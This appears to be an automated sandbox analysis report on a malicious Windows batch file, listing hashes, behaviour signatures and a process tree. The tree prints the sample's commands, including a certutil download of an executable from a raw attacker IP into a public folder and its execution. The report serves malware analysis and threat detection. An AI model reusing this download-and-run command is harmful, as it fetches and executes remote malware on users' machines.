Analysis
- max time kernel
104s - max time network
149s - platform
windows10-2004_x64 - resource
win10v2004-20250610-en - resource tags
arch:x64arch:x86image:win10v2004-20250610-enlocale:en-usos:windows10-2004-x64system - submitted
09/08/2025, 01:53
Static task
static1
Behavioral task
behavioral1
Sample
windows.bat
Resource
win10v2004-20250610-en
windows10-2004-x64
5 signatures
150 seconds
Behavioral task
behavioral2
Sample
windows.bat
Resource
win11-20250502-en
windows11-21h2-x64
5 signatures
150 seconds
General
- Target windows.bat
- Size 508B
- Sample250809-cbbkva1tdt
- SHA256 edb78feaf181bb95329db37838d7749be89dde6ef84d1cac600b650a4b346d21
- MD5 35924ec40514d5e4faa4ea65cfe6b2c8
- SHA1 8295144adb2f17f558bbfb1fcab75387ab558f91
- SHA512 6f090d9307ceb5f535a4466b2155d3a6a9e9363d84a35377cb4c40238a692601d1a47fd08e511c67ef074c59d7af8d15d24431fb06a7111511bb7314f18fff2f
- MD5 SHA1 SHA512
Score
8/10
Malware Config
Signatures
- Downloads MZ/PE file 2 IoCs
flow pid Process 3 2732 certutil.exe 5 2732 certutil.exe - Executes dropped EXE 1 IoCs
pid Process 6116 554565d6tcp.exe - Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 6116 554565d6tcp.exe - Suspicious use of AdjustPrivilegeToken 43 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 220 WMIC.exe Token: SeSecurityPrivilege 220 WMIC.exe Token: SeTakeOwnershipPrivilege 220 WMIC.exe Token: SeLoadDriverPrivilege 220 WMIC.exe Token: SeSystemProfilePrivilege 220 WMIC.exe Token: SeSystemtimePrivilege 220 WMIC.exe Token: SeProfSingleProcessPrivilege 220 WMIC.exe Token: SeIncBasePriorityPrivilege 220 WMIC.exe Token: SeCreatePagefilePrivilege 220 WMIC.exe Token: SeBackupPrivilege 220 WMIC.exe Token: SeRestorePrivilege 220 WMIC.exe Token: SeShutdownPrivilege 220 WMIC.exe Token: SeDebugPrivilege 220 WMIC.exe Token: SeSystemEnvironmentPrivilege 220 WMIC.exe Token: SeRemoteShutdownPrivilege 220 WMIC.exe Token: SeUndockPrivilege 220 WMIC.exe Token: SeManageVolumePrivilege 220 WMIC.exe Token: 33 220 WMIC.exe Token: 34 220 WMIC.exe Token: 35 220 WMIC.exe Token: 36 220 WMIC.exe Token: SeIncreaseQuotaPrivilege 220 WMIC.exe Token: SeSecurityPrivilege 220 WMIC.exe Token: SeTakeOwnershipPrivilege 220 WMIC.exe Token: SeLoadDriverPrivilege 220 WMIC.exe Token: SeSystemProfilePrivilege 220 WMIC.exe Token: SeSystemtimePrivilege 220 WMIC.exe Token: SeProfSingleProcessPrivilege 220 WMIC.exe Token: SeIncBasePriorityPrivilege 220 WMIC.exe Token: SeCreatePagefilePrivilege 220 WMIC.exe Token: SeBackupPrivilege 220 WMIC.exe Token: SeRestorePrivilege 220 WMIC.exe Token: SeShutdownPrivilege 220 WMIC.exe Token: SeDebugPrivilege 220 WMIC.exe Token: SeSystemEnvironmentPrivilege 220 WMIC.exe Token: SeRemoteShutdownPrivilege 220 WMIC.exe Token: SeUndockPrivilege 220 WMIC.exe Token: SeManageVolumePrivilege 220 WMIC.exe Token: 33 220 WMIC.exe Token: 34 220 WMIC.exe Token: 35 220 WMIC.exe Token: 36 220 WMIC.exe Token: SeDebugPrivilege 6116 554565d6tcp.exe - Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 5212 wrote to memory of 5480 5212 cmd.exe 85 PID 5212 wrote to memory of 5480 5212 cmd.exe 85 PID 5480 wrote to memory of 220 5480 cmd.exe 86 PID 5480 wrote to memory of 220 5480 cmd.exe 86 PID 5480 wrote to memory of 2288 5480 cmd.exe 87 PID 5480 wrote to memory of 2288 5480 cmd.exe 87 PID 5212 wrote to memory of 2732 5212 cmd.exe 89 PID 5212 wrote to memory of 2732 5212 cmd.exe 89 PID 5212 wrote to memory of 6116 5212 cmd.exe 90 PID 5212 wrote to memory of 6116 5212 cmd.exe 90
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\windows.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:5212 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic os get osarchitecture | findstr 642⤵
- Suspicious use of WriteProcessMemory
PID:5480 -
C:\Windows\System32\Wbem\WMIC.exewmic os get osarchitecture3⤵
- Suspicious use of AdjustPrivilegeToken
PID:220
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C:\Windows\system32\findstr.exefindstr 643⤵PID:2288
-
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C:\Windows\system32\certutil.execertutil.exe -urlcache -split -f "http://196.251.86.142:28571/?h=196.251.86.142&p=28571&t=tcp&a=w64&stage=true" "C:\Users\Public\554565d6tcp.exe"2⤵
- Downloads MZ/PE file
PID:2732
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C:\Users\Public\554565d6tcp.exe"C:\Users\Public\554565d6tcp.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:6116
-
Network
MITRE ATT&CK Matrix
Replay Monitor
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Downloads
- Path C:\Users\Public\554565d6tcp.exe
- Size 3KB
- SHA256 c373be374ca2e92cb015dca9e571f89103be65d12e6af224c94ac033c208761e
- MD5 0ca5132a4218bc3b39c08b22e4bdc0c3
- SHA1 735fc9cb33e6f29552a8ce448c117e910e0c4d92
- SHA512 0bc5240004e45131323810b3e07db0d506c582e47795601842dcaefb62d55733bc1c11009bd881fa27039a76237e65ce067cd3fd21ecf1cf80bfb5c87f889584
- MD5 SHA1 SHA512